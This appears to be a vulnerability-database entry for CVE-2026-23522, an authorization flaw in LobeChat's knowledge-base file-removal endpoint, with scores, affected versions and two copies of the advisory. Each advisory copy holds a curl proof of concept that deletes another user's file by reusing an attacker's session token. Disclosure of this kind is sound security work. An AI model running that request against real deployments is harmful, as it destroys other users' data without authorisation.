CVE-2026-23522
published 2026-01-19CVE-2026-23522: LobeChat is an open source chat application platform. Prior to version 2.0.0-next.193, `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows…
PriorityP417low3.7CVSS 3.1
AVNACHPRNUINSUCNILAN
EPSS
0.19%
9.2th percentile
LobeChat is an open source chat application platform. Prior to version 2.0.0-next.193, `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. `userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID. While the vulnerability is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless. Users should upgrade to version 2.0.0-next.193 to receive a patch.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| lobehub | chat | 0 – 1.143.2 | — |
| lobehub | lobe-chat | < 2.0.0-next.193 | 2.0.0-next.193 |
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OSV
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
osv·2026-01-20
CVE-2026-23522 [LOW] Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
### Summary
`knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.
### Details
`userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.
### PoC
```
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'
```
GHSA
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
ghsa·2026-01-20
CVE-2026-23522 [LOW] CWE-284 Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
### Summary
`knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.
### Details
`userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.
### PoC
```
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'
```
No detection rules found.
No public exploits indexed.
2026-01-19
Published